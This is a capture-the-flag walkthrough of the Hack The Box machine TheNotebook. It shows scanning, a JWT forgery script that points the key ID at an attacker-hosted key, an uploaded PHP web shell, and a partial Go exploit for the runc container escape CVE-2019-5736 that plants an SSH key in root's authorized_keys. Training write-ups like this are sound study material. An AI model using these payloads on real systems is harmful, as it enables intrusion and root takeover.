This post documents the complete walkthrough of TheNotebook, a retired vulnerable VM created by mostwanted002, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


TheNotebook is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 --rate=500
Starting masscan 1.3.2 ( at 2021-03-08 02:22:57 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on

Hmm, nothing unusual with the open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper

Slightly better but still isn’t a lot of information to go about. Anyway, this is what the site looks like.

Damn. This is a real shit-show.

Directory/File Enumeration

Let’s see what wfuzz and SecLists bring us.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 4681

ID           Response   Lines    Word       Chars       Payload

000000509:   403        0 L      1 W        9 Ch        "admin"
000002508:   302        3 L      24 W       209 Ch      "logout"
000002494:   200        30 L     94 W       1250 Ch     "login"
000003449:   200        32 L     104 W      1422 Ch     "register"

Total time: 0
Processed Requests: 4681
Filtered Requests: 4677
Requests/sec.: 0

Hmm, an Admin panel?

Register for an account

In any case, let’s register for an account like so.

The Notebook

This is what it looks like after logging in.

The key (no pun intended) is in the cookies.

Doesn’t that look like a JWT? Let’s verify if that’s really a JWT with the debugger at


Haha, I see where this is going. Basically I can generate my own RSA private key and sign my own JWT with admin_cap set to true. Once I replace the JWT in the auth cookie with my tailored JWT I should be able to access the Admin panel.

To that end, I wrote the following script to generate a tailored JWT.

# Generate me some private key
openssl genrsa -out privKey.key &>/dev/null

EMAIL="[email protected]"

HEADER=$(echo -n "{\"type\":\"JWT\",\"alg\":\"RS256\",\"kid\":\"http://${LHOST}:${LPORT}/privKey.key\"}" | base64url)
PAYLOAD=$(echo -n "{\"username\":\"${USER}\",\"email\":\"${EMAIL}\",\"admin_cap\":true}" | base64url | tr -d '=')
SIGNATURE=$(echo -n "${HEADER}.${PAYLOAD}" | openssl dgst -sha256 -sign privKey.key -binary | base64url | tr -d '=')


echo $TOKEN

There you have it.

Admin Panel

The Admin Panel allows one to upload PHP files.

Let’s upload the following PHP backdoor.

<?php echo shell_exec($_GET[0]); ?>

And we have remote command execution!


With that, it’s very easy to get a reverse shell with a Perl one-liner.

From www-data to noah

During enumeration of www-data’s account, I notice the presence of another account: noah.

And admin left a note mentioning about backups.

Check out /var/backups.

Let’s extract it and see what we’ve got.

Bingo — noah’s SSH keys. Thank you admin! With that, we can log in to noah’s account.

The file user.txt is at noah’s home directory.

Privilege Escalation

During enumeration of noah’s account, I notice the following.

And this.


runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Because I’m not building a malicious image (see the retired Cache for that), I found the perfect exploit.

I’ve chosen to write a SSH key I control to /root/.ssh/authorized_keys as shown in the payload below.

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
import (

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n mkdir -p /root/.ssh && echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILgZgS+G4z2k358MLI02lYUQYv5asXw7rMwjrpMfXW4F >> /root/.ssh/authorized_keys"

func main() {
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
        fmt.Println("[+] Overwritten /bin/sh successfully")

        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {
                pids, err := ioutil.ReadDir("/proc")
                if err != nil {
                for _, f := range pids {
                        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                        fstring := string(fbytes)
                        if strings.Contains(fstring, "runc") {
                                fmt.Println("[+] Found the PID:", f.Name())
                                found, err = strconv.Atoi(f.Name())
                                if err != nil {

        // We will use the pid to get a file handle for runc on the host.
        var handleFd = -1
        for handleFd == -1 {
                // Note, you do not need to use the O_PATH flag for the exploit to work.
                handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
                if int(handle.Fd()) > 0 {
                        handleFd = int(handle.Fd())
        fmt.Println("[+] Successfully got the file handle")

        // Now that we have the file handle, lets write to the runc binary and overwrite it
        // It will maintain it's executable flag
        for {
                writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
                if int(writeHandle.Fd()) > 0 {
                        fmt.Println("[+] Successfully got write handle", writeHandle)

As the exploit requires execution in the container, I’ll leave it as an exercise to the reader how to transfer the executable into the containter.

Bombs away…

And we are root!

Getting root.txt with a root shell is trivial.